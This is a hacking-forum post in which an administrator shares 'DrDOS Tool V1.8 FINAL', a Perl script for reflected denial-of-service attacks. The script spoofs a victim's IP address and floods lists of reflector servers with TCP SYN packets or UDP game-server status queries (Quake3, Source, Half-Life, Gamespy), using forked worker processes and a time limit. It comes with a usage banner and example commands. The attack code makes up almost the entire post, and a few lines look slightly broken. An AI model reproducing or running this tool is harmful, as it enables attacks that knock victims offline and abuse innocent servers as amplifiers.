• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl DrDos

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,860
Solutions
4
Reputation
27
Reaction score
45,546
Points
1,813
Credits
55,340
‎7 Years of Service‎
 
56%
DrDos

perl drdos.pl 127.0.0.1 80 servers.txt 5 tcp 10 3600

[HIDE-THANKS]

Code:
>#!/usr/bin/perl -w

use Benchmark;
use Net::RawIP;
use Time::HiRes qw ( usleep );

my $rand = int( rand 0x400 );
my $frag = 0;
my $doff = 0x05;
my $ttl  = 0xFF;
my $tos  = 0x08;
my $pid;
my $tx;
my @list;
my @running;
my @pids;

my %attack =
 ( "tcp" => \&tcp, "quake3" => \&quake3, "source" => \&source, "hl" => \&hl, "gs" => \&gs, "gs2" => \&gs2 );

if ( @ARGV  7 ) {
   &usage();
   exit;
}

$tx = $ARGV[3];
my $t0 = new Benchmark;

print "\n*** Now Reading Hosts Into Array\n\n";

open( ELITE, $ARGV[2] ) || die "Unable to open $ARGV[2]!\n";
chomp( @list =  );
close(ELITE);

sub tcp {
   my ( $ip, $port ) = @_;
   my $a = new Net::RawIP(
       {
           ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl },
           tcp => {
               dest   => $port,
               source => $ARGV[1],
               syn    => 1,
               ack    => 0,
               fin    => 0,
               rst    => 0,
               psh    => 0,
               urg    => 0,
               doff   => $doff
           }
       }
   );
   $a->send( 0, $tx );
}

sub quake3 {
   my ( $ip, $port ) = @_;
   my $a = new Net::RawIP(
       {
           ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
           udp => {
               dest   => $port,
               source => $ARGV[1],
               data   => chr(255) . chr(255) . chr(255) . chr(255) . "getstatus" . chr(10),
           }
       }
   );
   $a->send( 0, $tx );
  

}

sub source {
   my ( $ip, $port ) = @_;
   my $a = new Net::RawIP(
       {
           ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
           udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . chr(85), }
       }
   );
   $a->send( 0, $tx );
  

}

sub hl {
   my ( $ip, $port ) = @_;
   my $a = new Net::RawIP(
       {
           ip => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
           udp => { dest => $port, source => $ARGV[1], data => chr(255) . chr(255) . chr(255) . chr(255) . "rules", }
       }
   );
   $a->send( 0, $tx );
  
}

sub gs {
   my ( $ip, $port ) = @_;
   my $a = new Net::RawIP(
       {
           ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
           udp => {
               dest   => $port,
               source => $ARGV[1],
               data   => chr(92) . chr(115) . chr(116) . chr(97) . chr(116) . chr(117) . chr(115) . chr(92),
           }
       }
   );
   $a->send( 0, $tx );
  
}

sub gs2 {
   my ( $ip, $port ) = @_;
   my $a = new Net::RawIP(
       {
           ip  => { saddr => $ARGV[0], daddr => $ip, frag_off => $frag, tos => $tos, ttl => $ttl, },
           udp => {
               dest   => $port,
               source => $ARGV[1],
               data   => chr(254)
                 . chr(253)
                 . chr(0)
                 . chr(67)
                 . chr(79)
                 . chr(82)
                 . chr(89)
                 . chr(255)
                 . chr(255)
                 . chr(255),
           }
       }
   );
   $a->send( 0, $tx );
  
}

sub paxor {
   my $type = $_[0];
   unless ( $type eq "mixed" ) {
       while (1) {
                       foreach (@list) { $attack{$type}->( split( ':', $_ ) );}
       }
   }
   else {
       my @part;
       while (1) {
           foreach (@list) {
               @part = split( ":", $_ );
               $attack{ $part[2] }->( $part[0], $part[1]);
           }
       }
   }
}


for($number = 0;$number {
$pid = fork();
if ( $pid == 0 ) {
   $SIG{INT} = \&controlsub;

   &paxor( $ARGV[4] );

   my $t1 = new Benchmark;
   my $td = timediff( $t1, $t0 );
   print "\nTotal Time: ", timestr($td), "\n";
   sleep(5);
   exit;
}
else {
       push(@pids, $pid);
}
}
sleep( $ARGV[6] );
foreach(@pids)
{
       kill( "INT", $_ );
}
       exit;

sub controlme {
   $SIG{INT} = \&controlme;
   print "Signal Caught Now Exiting\n";
   my $t1 = new Benchmark;
   my $td = timediff( $t1, $t0 );
   print "\nTotal Time: ", timestr($td), "\n";
   sleep(5);
   exit;
}

sub controlsub {
   $SIG{INT} = \&controlsub;
   exit;
}


sub usage {
   print $0       
DrDOS Tool V1.8 FINAL by ohnoes1479

Time: Limit running time of the script, Time is in seconds
threads: number of threads to run
attack types:
tcp:     reflected tcp SYN attack
quake3:  reflected udp attack using quake3 based servers
source:  reflected udp attack using Valve Source based servers
hl:      reflected udp attack using Half Life servers
gs:      reflected udp attack using Gamespy based servers
gs2:     reflected udp attack using Gamespy 2 based servers
mixed:   specify type of server in list, EG:
8.8.8.8:80:tcp
64.120.46.100:28960:quake3
Command: $0 127.0.0.1 8080 servers.txt 5 tcp
HEREDOC

}
[/HIDE-THANKS]

 
Status
Not open for further replies.
Back
Top